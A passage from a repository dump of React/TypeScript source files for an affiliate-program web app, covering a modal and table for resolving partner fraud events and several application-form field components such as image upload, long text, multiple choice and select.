 });\n\n  const {\n    register,\n    handleSubmit,\n    control,\n    formState: { errors },\n  } = useForm<FormData>({\n    defaultValues: {\n      resolutionReason: \"\",\n      groupId: fraudGroup.id,\n    },\n  });\n\n  const onSubmit = useCallback(\n    async (data: FormData) => {\n      if (!workspaceId || !fraudGroup.id) {\n        return;\n      }\n\n      await executeAsync({\n        workspaceId,\n        groupId: fraudGroup.id,\n        resolutionReason: data.resolutionReason,\n      });\n    },\n    [executeAsync, fraudGroup.id, workspaceId],\n  );\n\n  const { partner } = fraudGroup;\n\n  return (\n    <Modal\n      showModal={showResolveFraudGroupModal}\n      setShowModal={setShowResolveFraudGroupModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Resolve events</h3>\n      </div>\n\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          {partner && (\n            <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n              <div className=\"flex items-center gap-4\">\n                <PartnerAvatar partner={partner} className=\"size-10 bg-white\" />\n                <div className=\"flex min-w-0 flex-col\">\n                  <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                    {partner.name || \"Unknown\"}\n                  </h4>\n                  {partner.email && (\n                    <p className=\"truncate text-xs text-neutral-500\">\n                      {partner.email}\n                    </p>\n                  )}\n                </div>\n              </div>\n            </div>\n          )}\n\n          <div>\n            <div className=\"flex items-center justify-between\">\n              <label\n                htmlFor=\"resolutionReason\"\n                className=\"block text-sm font-medium text-neutral-900\"\n              >\n                Internal notes (optional)\n              </label>\n              <MaxCharactersCounter\n                name=\"resolutionReason\"\n                maxLength={MAX_RESOLUTION_REASON_LENGTH}\n                control={control}\n              />\n            </div>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <textarea\n                id=\"resolutionReason\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.resolutionReason && \"border-red-600\",\n                )}\n                placeholder=\"Add notes about why events are resolved...\"\n                rows={3}\n                maxLength={MAX_RESOLUTION_REASON_LENGTH}\n                {...register(\"resolutionReason\")}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            onClick={() => setShowResolveFraudGroupModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            disabled={isPending}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text={`Resolve ${fraudGroup.eventCount} ${pluralize(\"event\", fraudGroup.eventCount)}`}\n            disabled={!workspaceId || !fraudGroup.id}\n            loading={isPending}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useResolveFraudGroupModal({\n  fraudGroup,\n  onConfirm,\n}: {\n  fraudGroup: FraudGroupProps;\n  onConfirm?: () => Promise<void>;\n}) {\n  const [showResolveFraudGroupModal, setShowResolveFraudGroupModal] =\n    useState(false);\n\n  const ResolveFraudGroupModalComponent = useMemo(\n    () => (\n      <ResolveFraudGroupModal\n        showResolveFraudGroupModal={showResolveFraudGroupModal}\n        setShowResolveFraudGroupModal={setShowResolveFraudGroupModal}\n        fraudGroup={fraudGroup}\n        onConfirm={onConfirm}\n      />\n    ),\n    [\n      showResolveFraudGroupModal,\n      setShowResolveFraudGroupModal,\n      fraudGroup,\n      onConfirm,\n    ],\n  );\n\n  return useMemo(\n    () => ({\n      setShowResolveFraudGroupModal,\n      ResolveFraudGroupModal: ResolveFraudGroupModalComponent,\n    }),\n    [setShowResolveFraudGroupModal, ResolveFraudGroupModalComponent],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/resolved-fraud-group-table.tsx",
    "content": "import { FRAUD_RULES_BY_TYPE } from \"@/lib/api/fraud/constants\";\nimport { useFraudGroups } from \"@/lib/swr/use-fraud-groups\";\nimport { FraudGroupProps } from \"@/lib/types\";\nimport { UserRowItem } from \"@/ui/users/user-row-item\";\nimport {\n  Badge,\n  buttonVariants,\n  LoadingSpinner,\n  Table,\n  Tooltip,\n  useTable,\n} from \"@dub/ui\";\nimport { cn, formatDate } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport Link from \"next/link\";\n\nconst RESOLVED_FRAUD_GROUP_PAGE_SIZE = 10;\n\nexport function ResolvedFraudGroupTable({ partnerId }: { partnerId: string }) {\n  const {\n    fraudGroups,\n    loading: fraudGroupsLoading,\n    error: fraudGroupsError,\n  } = useFraudGroups({\n    query: {\n      status: \"resolved\",\n      partnerId,\n      page: 1,\n      pageSize: RESOLVED_FRAUD_GROUP_PAGE_SIZE,\n      sortBy: \"resolvedAt\",\n    },\n    exclude: [\"groupId\"],\n  });\n\n  const table = useTable<FraudGroupProps>({\n    data: fraudGroups || [],\n    columns: [\n      {\n        id: \"type\",\n        header: \"Event\",\n        cell: ({ row }: { row: Row<FraudGroupProps> }) => {\n          const reason = FRAUD_RULES_BY_TYPE[row.original.type];\n          const count = row.original.eventCount ?? 1;\n\n          if (reason) {\n            return (\n              <div className=\"flex items-center gap-2\">\n                <Tooltip content={reason.description}>\n                  <span\n                    className={cn(\n                      \"cursor-help truncate underline decoration-dotted underline-offset-2\",\n                    )}\n                  >\n                    {reason.name}\n                  </span>\n                </Tooltip>\n\n                {count > 1 && (\n                  <Badge\n                    variant=\"gray\"\n                    className=\"shrink-0 rounded-md border-none px-1.5 py-1 text-xs font-semibold text-neutral-700\"\n                  >\n                    +{Number(count) - 1}\n                  </Badge>\n                )}\n              </div>\n            );\n          }\n        },\n      },\n      {\n        id: \"resolvedAt\",\n        header: \"Resolved on\",\n        cell: ({ row }: { row: Row<FraudGroupProps> }) => {\n          const user = row.original.user;\n          const resolvedAt = row.original.resolvedAt;\n\n          if (!resolvedAt) return \"-\";\n\n          if (!user)\n            return formatDate(resolvedAt, {\n              month: \"short\",\n              year: undefined,\n            });\n\n          return (\n            <UserRowItem user={user} date={resolvedAt} label=\"Resolved at\" />\n          );\n        },\n      },\n      {\n        id: \"resolutionReason\",\n        header: \"Note\",\n        cell: ({ row }: { row: Row<FraudGroupProps> }) => {\n          const resolutionReason = row.original.resolutionReason;\n\n          if (!resolutionReason) return \"-\";\n\n          return (\n            <Tooltip content={resolutionReason}>\n              <span className=\"line-clamp-1 cursor-help truncate\">\n                {resolutionReason}\n              </span>\n            </Tooltip>\n          );\n        },\n      },\n    ],\n    loading: fraudGroupsLoading,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-0\",\n    error: fraudGroupsError\n      ? \"Failed to load resolved fraud events\"\n      : undefined,\n  });\n\n  const displayViewAll =\n    fraudGroups?.length &&\n    fraudGroups.length === RESOLVED_FRAUD_GROUP_PAGE_SIZE;\n\n  return (\n    <div className=\"flex flex-col gap-4\">\n      <div className=\"flex items-end justify-between gap-4\">\n        <h3 className=\"text-content-emphasis font-semibold\">Resolved events</h3>\n        {displayViewAll ? (\n          <Link\n            href={`/${\"workspaceSlug\"}/program/fraud/resolved?partnerId=${partnerId}`}\n            target=\"_blank\"\n            className={cn(\n              buttonVariants({ variant: \"secondary\" }),\n              \"flex h-7 items-center rounded-lg border px-2 text-sm\",\n            )}\n          >\n            View all\n          </Link>\n        ) : null}\n      </div>\n\n      <div className=\"flex flex-col gap-3\">\n        {fraudGroups?.length ? (\n          <Table {...table} />\n        ) : (\n          <div className=\"border-border-subtle flex h-24 flex-col items-center justify-center gap-2 rounded-lg border\">\n            {fraudGroupsLoading ? (\n              <LoadingSpinner />\n            ) : (\n              <p className=\"text-content-subtle text-sm\">\n                No past resolved fraud events found for this partner\n              </p>\n            )}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/application-hero-preview.tsx",
    "content": "import { ProgramApplicationFormData } from \"@/lib/types\";\nimport { BlockMarkdown } from \"@/ui/partners/lander/blocks/block-markdown\";\nimport { Program } from \"@dub/prisma/client\";\n\nexport function ApplicationFormHero({\n  program,\n  applicationFormData,\n  preview,\n}: {\n  program: Pick<Program, \"name\">;\n  applicationFormData: Pick<\n    ProgramApplicationFormData,\n    \"label\" | \"title\" | \"description\"\n  >;\n  preview?: boolean;\n}) {\n  const Heading = preview ? \"div\" : \"h1\";\n  const title = applicationFormData.title || `Apply to ${program.name}`;\n  const description =\n    applicationFormData.description ||\n    `Submit your application to join the ${program.name} affiliate program and start earning commissions for your referrals.`;\n\n  return (\n    <div className=\"grid grid-cols-1 gap-5 py-6 sm:mt-14\">\n      <span className=\"w-fit rounded-md bg-neutral-100 px-2 py-1 text-xs font-medium text-neutral-700\">\n        Step 1 of 2\n      </span>\n      <Heading className=\"text-4xl font-semibold\" dir=\"auto\">\n        {title}\n      </Heading>\n      <BlockMarkdown>{description}</BlockMarkdown>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/form-control.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { HTMLAttributes } from \"react\";\n\nexport type FormControlProps = {\n  label: string;\n  required?: boolean;\n  helperText?: string;\n  error?: string;\n  labelDir?: string;\n} & HTMLAttributes<HTMLLabelElement>;\n\nexport const FormControlRequiredBadge = () => {\n  return (\n    <span className=\"min-h-4 rounded-md bg-orange-100 px-1 text-xs font-semibold text-orange-600\">\n      Required\n    </span>\n  );\n};\n\nexport const FormControl = ({\n  label,\n  required,\n  children,\n  error,\n  helperText,\n  labelDir,\n  ...rest\n}: FormControlProps) => {\n  return (\n    <label {...rest}>\n      <div className=\"flex items-center gap-1.5\" dir={labelDir}>\n        <span className=\"text-content-emphasis text-sm font-medium\">\n          {label}\n        </span>\n        {required && <FormControlRequiredBadge />}\n      </div>\n\n      <div className=\"mt-2\">\n        {children}\n\n        {(error || helperText) && (\n          <div\n            className={cn(\n              \"mt-2 text-xs\",\n              error ? \"text-red-500\" : \"text-neutral-500\",\n            )}\n          >\n            {error || helperText}\n          </div>\n        )}\n      </div>\n    </label>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/image-upload-field.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { uploadProgramApplicationImageAction } from \"@/lib/actions/partners/upload-program-application-image\";\nimport {\n  PROGRAM_APPLICATION_IMAGE_ALLOWED_TYPES,\n  PROGRAM_APPLICATION_IMAGE_ALLOWED_TYPES_LABEL,\n  PROGRAM_APPLICATION_IMAGE_MAX_FILE_SIZE_MB,\n} from \"@/lib/constants/program\";\nimport { programApplicationFormImageUploadFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { X } from \"@/ui/shared/icons\";\nimport { FileUpload, LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useParams } from \"next/navigation\";\nimport { useEffect, useRef, useState } from \"react\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype ImageUploadFieldData = z.infer<\n  typeof programApplicationFormImageUploadFieldSchema\n>;\n\ninterface FileInput {\n  id: string;\n  file?: File;\n  url?: string;\n  uploading: boolean;\n}\n\nfunction ImageUploadFieldContent({\n  field,\n  preview,\n  programSlug,\n  controllerField,\n  maxImages,\n  error,\n  uploadFile,\n  onStatusChange,\n}: {\n  field: ImageUploadFieldData;\n  preview?: boolean;\n  programSlug: string;\n  controllerField: { value: any; onChange: (value: any) => void };\n  maxImages: number;\n  error: boolean;\n  uploadFile: (params: { programSlug: string }) => Promise<any>;\n  onStatusChange?: (loading: boolean) => void;\n}) {\n  const currentValue = controllerField.value || [];\n\n  // Track if we're updating from an internal change to prevent circular updates\n  const isInternalUpdateRef = useRef(false);\n\n  // Initialize files state from form value\n  const [files, setFiles] = useState<FileInput[]>(() => {\n    if (Array.isArray(currentValue) && currentValue.length > 0) {\n      return currentValue.map((url: string) => ({\n        id: uuid(),\n        url,\n        uploading: false,\n        file: undefined,\n      }));\n    }\n    return [];\n  });\n\n  // Sync files state with form value when it changes externally\n  useEffect(() => {\n    // Skip if this is an internal update\n    if (isInternalUpdateRef.current) {\n      isInternalUpdateRef.current = false;\n      return;\n    }\n\n    if (Array.isArray(currentValue)) {\n      const currentUrls = currentValue.filter(Boolean);\n      const fileUrls = files\n        .filter((f) => f.url && !f.uploading)\n        .map((f) => f.url!)\n        .filter(Boolean);\n\n      // Only update if URLs differ (compare as sets to handle reordering)\n      const currentUrlsSet = new Set(currentUrls);\n      const fileUrlsSet = new Set(fileUrls);\n\n      if (\n        currentUrls.length !== fileUrls.length ||\n        currentUrls.some((url) => !fileUrlsSet.has(url)) ||\n        fileUrls.some((url) => !currentUrlsSet.has(url))\n      ) {\n        // Preserve uploading files when syncing\n        const uploadingFiles = files.filter((f) => f.uploading);\n        const syncedFiles = currentUrls.map((url: string) => ({\n          id: uuid(),\n          url,\n          uploading: false,\n          file: undefined,\n        }));\n        setFiles([...syncedFiles, ...uploadingFiles]);\n      }\n    }\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [currentValue]);\n\n  // Update form value when files change\n  useEffect(() => {\n    const urls = files.filter((f) => f.url && !f.uploading).map((f) => f.url!);\n\n    // Compare with current form value to avoid unnecessary updates\n    // Read currentValue directly from controllerField to avoid stale closure\n    const formValue = controllerField.value || [];\n    const currentUrls = Array.isArray(formValue)\n      ? formValue.filter(Boolean)\n      : [];\n\n    // Compare as sets to handle reordering\n    const urlsSet = new Set(urls);\n    const currentUrlsSet = new Set(currentUrls);\n\n    // Only update if URLs actually changed\n    if (\n      urls.length !== currentUrls.length ||\n      urls.some((url) => !currentUrlsSet.has(url)) ||\n      currentUrls.some((url) => !urlsSet.has(url))\n    ) {\n      isInternalUpdateRef.current = true;\n      controllerField.onChange(urls);\n    }\n  }, [files, controllerField]);\n\n  const handleUpload = async (file: File) => {\n    if (!programSlug) {\n      toast.error(\n        \"Unable to upload image. Please refresh the page and try again.\",\n      );\n      return;\n    }\n\n    // Validate file type\n    if (!PROGRAM_APPLICATION_IMAGE_ALLOWED_TYPES.includes(file.type as any)) {\n      toast.error(\n        `Invalid file type. Allowed types: ${PROGRAM_APPLICATION_IMAGE_ALLOWED_TYPES_LABEL}`,\n      );\n      return;\n    }\n\n    // Validate file size\n    if (file.size > PROGRAM_APPLICATION_IMAGE_MAX_FILE_SIZE_MB * 1024 * 1024) {\n      toast.error(\n        `File size exceeds maximum of ${PROGRAM_APPLICATION_IMAGE_MAX_FILE_SIZE_MB}MB`,\n      );\n      return;\n    }\n\n    // Check max images limit\n    const currentUploadedCount = files.filter(\n      (f) => f.url && !f.uploading,\n    ).length;\n    if (currentUploadedCount >= maxImages) {\n      toast.error(\n        `Maximum of ${maxImages} image${maxImages === 1 ? \"\" : \"s\"} allowed`,\n      );\n      return;\n    }\n\n    const newFile: FileInput = { id: uuid(), file, uploading: true };\n    setFiles((prev) => [...prev, newFile]);\n\n    try {\n      const result = await uploadFile({\n        programSlug,\n      });\n\n      if (!result?.data) {\n        toast.error(\"Failed to upload image. Please try again.\");\n        setFiles((prev) => prev.filter((f) => f.id !== newFile.id));\n        return;\n      }\n\n      const { signedUrl, destinationUrl } = result.data;\n\n      const uploadResponse = await fetch(signedUrl, {\n        method: \"PUT\",\n        body: file,\n        headers: {\n          \"Content-Type\": file.type,\n          \"Content-Length\": file.size.toString(),\n        },\n      });\n\n      if (!uploadResponse.ok) {\n        const result = await uploadResponse.json();\n        throw new Error(\n          result.error?.message || \"Failed to upload image to storage\",\n        );\n      }\n\n      toast.success(`${file.name} uploaded!`);\n      setFiles((prev) =>\n        prev.map((f) =>\n          f.id === newFile.id\n            ? { ...f, uploading: false, url: destinationUrl }\n            : f,\n        ),\n      );\n    } catch (error) {\n      toast.error(\n        error instanceof Error\n          ? error.message\n          : \"Failed to upload image. Please try again.\",\n      );\n      setFiles((prev) => prev.filter((f) => f.id !== newFile.id));\n    }\n  };\n\n  const fileUploading = files.some(({ uploading }) => uploading);\n\n  // Track the callback in a ref to avoid infinite loops from changing function references\n  const onStatusChangeRef = useRef(onStatusChange);\n  useEffect(() => {\n    onStatusChangeRef.current = onStatusChange;\n  }, [onStatusChange]);\n\n  // Notify parent when async state changes\n  useEffect(() => {\n    onStatusChangeRef.current?.(fileUploading);\n  }, [fileUploading]);\n\n  return (\n    <div className=\"mt-2\">\n      <div\n        className={cn(\n          \"flex h-12 items-center gap-2 transition-[height]\",\n          files.length === 0 && \"h-24\",\n        )}\n      >\n        {files.map((file, idx) => (\n          <div\n            key={file.id}\n            className=\"border-border-subtle group relative flex aspect-square h-full items-center justify-center rounded-md border bg-white\"\n          >\n            {file.uploading ? (\n              <LoadingSpinner className=\"size-4\" />\n            ) : file.url ? (\n              <div className=\"relative size-full overflow-hidden rounded-md\">\n                <img\n                  src={file.url}\n                  alt={`Upload ${idx + 1}`}\n                  className=\"size-full object-cover\"\n                />\n              </div>\n            ) : null}\n            <span className=\"sr-only\">\n              {file.file?.name || `File ${idx + 1}`}\n            </span>\n            {!preview && (\n              <button\n                type=\"button\"\n                className={cn(\n                  \"absolute right-0 top-0 flex size-[1.125rem] -translate-y-1/2 translate-x-1/2 items-center justify-center\",\n                  \"rounded-full border border-neutral-200 bg-white shadow-sm hover:bg-neutral-50 active:scale-95\",\n                  \"scale-50 opacity-0 transition-[background-color,transform,opacity] group-hover:scale-100 group-hover:opacity-100\",\n                )}\n                onClick={() => {\n                  setFiles((prev) => prev.filter((s) => s.id !== file.id));\n                }}\n              >\n                <X className=\"size-2.5 text-neutral-400\" />\n              </button>\n            )}\n          </div>\n        ))}\n\n        <FileUpload\n          accept=\"images\"\n          className={cn(\n            \"border-border-subtle h-full w-auto rounded-md border\",\n            files.length > 0 ? \"aspect-square\" : \"aspect-[unset] w-full\",\n            error && \"border-red-400\",\n          )}\n          iconClassName=\"size-5 shrink-0\"\n          variant=\"plain\"\n          content={\n            files.length > 0\n              ? null\n              : `${PROGRAM_APPLICATION_IMAGE_ALLOWED_TYPES_LABEL}, max size of ${PROGRAM_APPLICATION_IMAGE_MAX_FILE_SIZE_MB}MB`\n          }\n          onChange={\n            preview ? undefined : async ({ file }) => await handleUpload(file)\n          }\n          disabled={preview || files.length >= maxImages || fileUploading}\n          maxFileSizeMB={PROGRAM_APPLICATION_IMAGE_MAX_FILE_SIZE_MB}\n        />\n      </div>\n    </div>\n  );\n}\n\nexport function ImageUploadField({\n  keyPath: keyPathProp,\n  field,\n  preview,\n  onStatusChange,\n}: {\n  keyPath?: string;\n  field: ImageUploadFieldData;\n  preview?: boolean;\n  onStatusChange?: (loading: boolean) => void;\n}) {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { getFieldState, control } = useFormContext<any>();\n\n  const keyPath = keyPathProp ? `${keyPathProp}.value` : \"value\";\n  const state = getFieldState(keyPath);\n\n  const { executeAsync: uploadFile } = useAction(\n    uploadProgramApplicationImageAction,\n    {\n      onError({ error }) {\n        toast.error(parseActionError(error, \"Failed to upload image.\"));\n        onStatusChange?.(false);\n      },\n    },\n  );\n\n  const maxImages = field.data.maxImages || 1;\n  const error = !!state.error;\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n    >\n      <Controller\n        control={control}\n        name={keyPath}\n        rules={\n          preview\n            ? {}\n            : {\n                validate: (val: any) => {\n                  if (field.required) {\n                    const imageUrls = Array.isArray(val)\n                      ? val.filter(Boolean)\n                      : [];\n                    if (imageUrls.length === 0) {\n                      return `${field.label} is required`;\n                    }\n                  }\n                  return true;\n                },\n              }\n        }\n        render={({ field: controllerField }) => (\n          <ImageUploadFieldContent\n            field={field}\n            preview={preview}\n            programSlug={programSlug || \"\"}\n            controllerField={controllerField}\n            maxImages={maxImages}\n            error={error}\n            uploadFile={uploadFile}\n            onStatusChange={onStatusChange}\n          />\n        )}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/index.tsx",
    "content": "import { programApplicationFormFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport * as z from \"zod/v4\";\nimport { ImageUploadField } from \"./image-upload-field\";\nimport { LongTextField } from \"./long-text-field\";\nimport { MultipleChoiceField } from \"./multiple-choice-field\";\nimport { SelectField } from \"./select-field\";\nimport { ShortTextField } from \"./short-text-field\";\nimport { WebsiteAndSocialsField } from \"./website-and-socials-field\";\n\nconst FIELD_COMPONENTS: Record<\n  z.infer<typeof programApplicationFormFieldSchema>[\"type\"],\n  any\n> = {\n  \"multiple-choice\": MultipleChoiceField,\n  \"short-text\": ShortTextField,\n  \"long-text\": LongTextField,\n  select: SelectField,\n  \"website-and-socials\": WebsiteAndSocialsField,\n  \"image-upload\": ImageUploadField,\n};\n\nexport const ProgramApplicationFormField = ({\n  field,\n  keyPath,\n  preview,\n  onStatusChange,\n}: {\n  field: z.infer<typeof programApplicationFormFieldSchema>;\n  keyPath?: string;\n  preview?: boolean;\n  onStatusChange?: (loading: boolean) => void;\n}) => {\n  const Component = FIELD_COMPONENTS[field.type];\n\n  if (!Component) {\n    return null;\n  }\n\n  return (\n    <Component\n      field={field}\n      keyPath={keyPath}\n      preview={preview}\n      onStatusChange={onStatusChange}\n    />\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/long-text-field.tsx",
    "content": "import { programApplicationFormLongTextFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { cn } from \"@dub/utils\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\nimport { MaxCharacterCount } from \"./max-character-count\";\n\nexport function LongTextField({\n  keyPath: keyPathProp,\n  field,\n  preview,\n}: {\n  keyPath?: string;\n  field: z.infer<typeof programApplicationFormLongTextFieldSchema>;\n  preview?: boolean;\n}) {\n  const { register, getFieldState, watch } = useFormContext<any>();\n  const keyPath = keyPathProp ? `${keyPathProp}.value` : \"value\";\n  const value = watch(keyPath);\n  const state = getFieldState(keyPath);\n  const currentLength = value?.length || 0;\n  const exceedsMaxLength =\n    field.data.maxLength && currentLength > field.data.maxLength;\n  const error = !!state.error || exceedsMaxLength;\n\n  return (\n    <FormControl label={field.label} required={field.required} dir=\"auto\">\n      <textarea\n        className={cn(\n          \"mt-2 block w-full rounded-md text-base focus:outline-none md:text-sm\",\n          error\n            ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n            : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n        )}\n        placeholder={field.data.placeholder || \"\"}\n        {...(preview\n          ? {}\n          : register(keyPath, {\n              required: field.required,\n              maxLength: field.data.maxLength,\n            }))}\n      />\n\n      {field.data.maxLength && (\n        <MaxCharacterCount\n          currentLength={currentLength}\n          maxLength={field.data.maxLength}\n        />\n      )}\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/max-character-count.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport const MaxCharacterCount = ({\n  currentLength,\n  maxLength,\n}: {\n  currentLength: number;\n  maxLength: number;\n}) => {\n  const isOverLimit = currentLength > maxLength;\n  return (\n    <span\n      className={cn(\n        \"text-xs transition-colors duration-75\",\n        isOverLimit ? \"text-red-500\" : \"text-neutral-500\",\n      )}\n    >\n      {currentLength}/{maxLength}\n    </span>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/multiple-choice-field.tsx",
    "content": "import { programApplicationFormMultipleChoiceFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { Checkbox, RadioGroup, RadioGroupItem } from \"@dub/ui\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype MultipleChoiceFieldData = z.infer<\n  typeof programApplicationFormMultipleChoiceFieldSchema\n>;\n\ntype MultipleChoiceFieldProps = {\n  field: MultipleChoiceFieldData;\n  keyPath?: string;\n  preview?: boolean;\n};\n\nexport function MultipleChoiceField({\n  field,\n  keyPath: keyPathProp,\n  preview,\n}: MultipleChoiceFieldProps) {\n  const { getFieldState, control } = useFormContext<any>();\n  const keyPath = keyPathProp ? `${keyPathProp}.value` : \"value\";\n  const state = getFieldState(keyPath);\n  const options = field.data.options;\n\n  let content: React.ReactNode;\n\n  if (field.data.multiple) {\n    content = (\n      <Controller\n        control={control}\n        name={keyPath}\n        rules={\n          preview\n            ? {}\n            : {\n                validate: (val: any) => {\n                  if (field.required && (!Array.isArray(val) || !val.length)) {\n                    return \"Select all that apply\";\n                  }\n                  return true;\n                },\n              }\n        }\n        render={({ field }) => (\n          <div className=\"space-y-2\">\n            {options.map((option) => {\n              const isSelected = field.value?.includes(option.value);\n\n              return (\n                <label\n                  key={option.id}\n                  className=\"flex w-full items-center gap-2.5 text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70\"\n                  dir=\"auto\"\n                >\n                  <Checkbox\n                    id={option.id}\n                    checked={isSelected}\n                    className=\"border-border-default size-4 rounded focus:border-[var(--brand)] focus:ring-[var(--brand)] focus-visible:border-[var(--brand)] focus-visible:ring-[var(--brand)] data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n                    onCheckedChange={(checked) => {\n                      if (preview) return;\n\n                      if (checked) {\n                        field.onChange([...(field.value || []), option.value]);\n                      } else {\n                        if (\n                          Array.isArray(field.value) &&\n                          field.value.includes(option.value)\n                        ) {\n                          field.onChange(\n                            field.value.filter((v) => v !== option.value),\n                          );\n                        }\n                      }\n                    }}\n                  />\n\n                  <span className=\"text-content-emphasis text-sm\">\n                    {option.value}\n                  </span>\n                </label>\n              );\n            })}\n          </div>\n        )}\n      />\n    );\n  } else {\n    content = (\n      <Controller\n        control={control}\n        name={keyPath}\n        rules={\n          preview\n            ? {}\n            : {\n                validate: (val: any) => {\n                  if (field.required && (!val || val === \"\")) {\n                    return \"Please select an option\";\n                  }\n                  return true;\n                },\n              }\n        }\n        render={({ field }) => (\n          <RadioGroup\n            value={typeof field.value === \"string\" ? field.value : \"\"}\n            onValueChange={(newValue) => {\n              if (preview) return;\n              field.onChange(newValue);\n            }}\n            className=\"space-y-2\"\n          >\n            {options.map((option) => (\n              <label\n                key={option.id}\n                className=\"flex items-center gap-2.5 leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70\"\n                dir=\"auto\"\n              >\n                <RadioGroupItem\n                  value={option.value}\n                  id={option.id}\n                  className=\"focus:border-[var(--brand)] focus:ring-[var(--brand)]\"\n                />\n\n                <span className=\"text-content-emphasis text-sm\">\n                  {option.value}\n                </span>\n              </label>\n            ))}\n          </RadioGroup>\n        )}\n      />\n    );\n  }\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      helperText={field.data.multiple ? \"Select all that apply\" : undefined}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      {content}\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/select-field.tsx",
    "content": "import { programApplicationFormSelectFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { Combobox } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype SelectFieldData = z.infer<typeof programApplicationFormSelectFieldSchema>;\n\nexport function SelectField({\n  keyPath: keyPathProp,\n  field,\n  preview,\n}: {\n  keyPath?: string;\n  field: SelectFieldData;\n  preview?: boolean;\n}) {\n  const { getFieldState, control } = useFormContext<any>();\n  const keyPath = keyPathProp ? `${keyPathProp}.value` : \"value\";\n  const state = getFieldState(keyPath);\n  const error = !!state.error;\n\n  const options = field.data.options.map((option) => ({\n    label: option.value,\n    value: option.value,\n  }));\n\n  return (\n    <FormControl\n      label={field.label}\n      required={field.required}\n      error={state.error?.message}\n      labelDir=\"auto\"\n    >\n      <Controller\n        control={control}\n        name={keyPath}\n        rules={\n          preview\n            ? {}\n            : {\n                validate: (val: any) => {\n                  if (field.required && (!val || val === \"\")) {\n                    return \"Please select an option\";\n                  }\n                  return true;\n                },\n              }\n        }\n        render={({ field }) => (\n          <Combobox\n            selected={options.find((o) => o.value === field.value) ?? null}\n            setSelected={(option) => {\n              if (!option) return;\n              field.onChange(option.value);\n            }}\n            options={options}\n            caret={true}\n            placeholder=\"Select\"\n            searchPlaceholder=\"Search options...\"\n            matchTriggerWidth\n            buttonProps={{\n              className: cn(\n                \"mt-1.5 w-full justify-start border-neutral-300 px-3\",\n                \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 focus:border-[var(--brand)] focus:ring-[var(--brand)] transition-none\",\n                !field.value && \"text-neutral-400\",\n                error && \"border-red-500 ring-red-500 ring-1\",\n              ),\n            }}\n          />\n        )}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/short-text-field.tsx",
